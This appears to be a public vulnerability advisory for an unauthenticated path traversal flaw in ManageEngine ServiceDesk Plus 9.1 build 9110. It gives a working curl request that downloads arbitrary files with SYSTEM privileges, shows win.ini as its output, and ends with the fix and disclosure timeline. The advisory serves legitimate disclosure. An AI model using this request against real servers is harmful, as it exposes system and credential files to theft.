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Exploit Title: ManageEngine ServiceDesk Plus <= 9.1 build 9110 - Path Traversal Product: ManageEngine ServiceDesk Plus Vulnerable Versions: 9.1 build 9110 and previous versions Tested Version: 9.1 build 9110 (Windows) Advisory Publication: 03/10/2015 Vulnerability Type: Unauthenticated Path Traversal Credit: xistence <xistence[at]0x90.nl> Product Description ------------------- ServiceDesk Plus is an ITIL ready IT help desk software for organizations of all sizes. With advanced ITSM functionality and easy-to-use capability, ServiceDesk Plus helps IT support teams deliver world-class services to end users with reduced costs and complexity. Over 100,000 organizations across 185 countries trust ServiceDesk Plus to optimize IT service desk performance and achieve high user satisfaction. Vulnerability Details --------------------- The "fName" parameter is vulnerable to path traversal without the need for any authentication. On Windows environments, downloading files will be done with SYSTEM privileges. This makes it possible to download any file on the filesystem. The following example will download the "win.ini" file: $ curl " http://192.168.2.129:8080/workorder/FileDownload.jsp?module=support&fName=..%2f..%2f..%2f..%2f..%2f..%2f..%2fwindows%2fwin.ini%00 " ; for 16-bit app support [fonts] [extensions] [mci extensions] [files] [Mail] MAPI=1 [MCI Extensions.BAK] 3g2=MPEGVideo 3gp=MPEGVideo 3gp2=MPEGVideo 3gpp=MPEGVideo aac=MPEGVideo adt=MPEGVideo adts=MPEGVideo m2t=MPEGVideo m2ts=MPEGVideo m2v=MPEGVideo m4a=MPEGVideo m4v=MPEGVideo mod=MPEGVideo mov=MPEGVideo mp4=MPEGVideo mp4v=MPEGVideo mts=MPEGVideo ts=MPEGVideo tts=MPEGVideo Solution -------- Upgrade to ServiceDesk 9.1 build 9111. Advisory Timeline ----------------- 07/10/2015 - Discovery and vendor notification 07/10/2015 - ManageEngine responsed that they will notify their development team 09/13/2015 - No response from vendor yet, asked for status update 09/24/2015 - ManageEngine responded that they've fixed the issue and assigned issue ID: SD-60283 09/28/2015 - Fixed ServiceDesk Plus version 9.1 build 9111 has been released 10/03/2015 - Public disclosure |
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